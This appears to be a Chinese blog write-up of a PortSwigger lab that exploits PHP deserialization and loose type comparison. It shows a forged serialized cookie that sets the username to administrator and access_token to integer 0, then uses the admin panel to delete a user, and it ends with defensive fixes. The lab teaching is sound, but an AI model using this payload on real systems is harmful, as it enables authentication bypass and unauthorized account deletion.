portswigger靶场之修改序列化数据类型通关秘籍

一、漏洞原理(核心)

靶场链接:https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-data-types

1️⃣ 使用 客户端可控的 PHP 序列化会话

该实验的 Web 应用将用户身份信息直接存储在 Cookie 中的 PHP 序列化对象:

复制代码
O:4:"User":2:{
  s:8:"username";s:6:"wiener";
  s:12:"access_token";s:32:"xxxxxxxx";
}

并在服务器端 直接反序列化并信任其中的字段,这本身就违反了安全设计原则:

❌ 不可信数据不应被反序列化

❌ 客户端数据不应参与权限判断


2️⃣ PHP 7.x 及更早版本的 弱类型比较漏洞(Type Juggling)

PHP 在进行比较时存在如下行为(==):

复制代码
"0" == 0      // true
"admin" == 0  // true

如果服务器端代码类似:

复制代码
if ($user->access_token == 0) {
    // 管理员
}

那么:

  • 字符串 "0"

  • 整数 0

  • 某些非数字字符串

在弱比较下都会被视为 0,从而绕过身份校验。


3️⃣ 漏洞本质总结(一句话)

客户端可控的 PHP 序列化对象 + PHP 弱类型比较(==)
→ 可通过修改字段"类型"实现身份认证绕过


二、漏洞利用流程(完整复现)

Step 1:正常登录

使用提供的凭据登录:

复制代码
wiener : peter

Step 2:查看 Session Cookie(反序列化对象)

在 Burp 中查看登录后的请求:

复制代码
GET /my-account?id=wiener

Cookie 中可看到序列化对象(Inspector 中自动解析):

复制代码
O:4:"User":2:{
  s:8:"username";s:6:"wiener";
  s:12:"access_token";s:32:"<token>";
}

将该请求 Send to Repeater


Step 3:构造恶意序列化对象(关键)

修改点一:用户名
  • username 长度改为 13

  • 值改为 administrator

    s:8:"username";s:13:"administrator";


修改点二:访问令牌(关键漏洞点)

原来是字符串:

复制代码
s:12:"access_token";s:32:"xxxx";

修改为 整数 0:

  • 删除双引号

  • 类型标记 s → i

    s:12:"access_token";i:0;


✅ 最终 Payload(关键结果)

复制代码
O:4:"User":2:{
  s:8:"username";s:13:"administrator";
  s:12:"access_token";i:0;
}

Burp 会自动完成 Base64 + URL 编码。


Step 4:发送请求并验证身份绕过

发送修改后的请求:

php 复制代码
GET /my-account?id=administrator

🔎 观察响应:

  • 页面中出现 /admin 链接

  • 表明服务器已将你识别为 administrator


Step 5:访问管理面板

复制代码
GET /admin

返回管理员页面,可看到用户列表。


Step 6:删除用户 carlos(完成实验)

php 复制代码
GET /admin/delete?username=carlos

✔️ 用户被删除

✔️ 实验状态变为 Solved


三、关键技术点总结(博客高亮)

漏洞点 说明
客户端反序列化 Cookie 中存储完整 User 对象
缺乏完整性保护 无签名 / MAC / 加密
PHP Type Juggling 使用 == 导致类型混淆
权限逻辑缺陷 access_token 可被用户控制

四、如何修复该漏洞(防御建议)

✅ 1️⃣ 永远不要反序列化不可信数据

  • Cookie 中只存 随机 Session ID

  • 用户信息存于服务器端 Session / 数据库


✅ 2️⃣ 使用严格类型比较(PHP)

复制代码
if ($token === 0) { ... }   // 而不是 ==

✅ 3️⃣ 禁止客户端控制权限字段

复制代码
is_admin
access_token
role

必须由服务器端生成并校验。


✅ 4️⃣ 为 Session 数据添加完整性校验

  • HMAC

  • JWT(正确配置)

  • 服务端 Session 存储


五、一句话结论(实验总结)

本实验利用了 PHP 反序列化信任客户端数据 + 弱类型比较(Type Juggling)的组合漏洞,通过修改序列化字段的数据类型,成功绕过身份认证并获得管理员权限。

相关推荐
发光小北5 小时前
EtherNet/IP 转 ModbusTCP 网关现场应用中会遇到什么问题?
服务器·网络·tcp/ip
海宇大数据5 小时前
零信任架构实战:基于海宇全能小微企业报告构建自动化持牌网络小贷小微商户极速助业贷秒级全维风险决策网关
网络·人工智能·架构·自动化
hkNaruto6 小时前
【AI】基于大模型的AI游戏地图生成、控制方案:AI Native Game Harness 迁移操作手册
前端·人工智能·游戏
IT_陈寒6 小时前
Java序列化踩坑记:对象循环引用让我加班两小时
前端·人工智能·后端
Acro6 小时前
快给macOS 上的Grok Bot换一套皮肤
前端
flash俊杰6 小时前
双引擎 OCR 编排:逐页判定、视觉优先、partial 语义与三层超时
前端
计算机魔术师6 小时前
Reddit 每周被 Google 偷走 100 万次点击,CEO 摊牌了
前端
前端繁华如梦6 小时前
用 React Three Fiber 做一栋能编辑的教学楼数字孪生
前端
前端繁华如梦6 小时前
用 React Three Fiber 做一套智慧医院数字孪生:编辑器、大屏和 BIM 浏览器
前端
tongyiixiaohuang6 小时前
供应商主数据同步实战:从易快报到金蝶云星空的单一策略落地
java·网络·数据库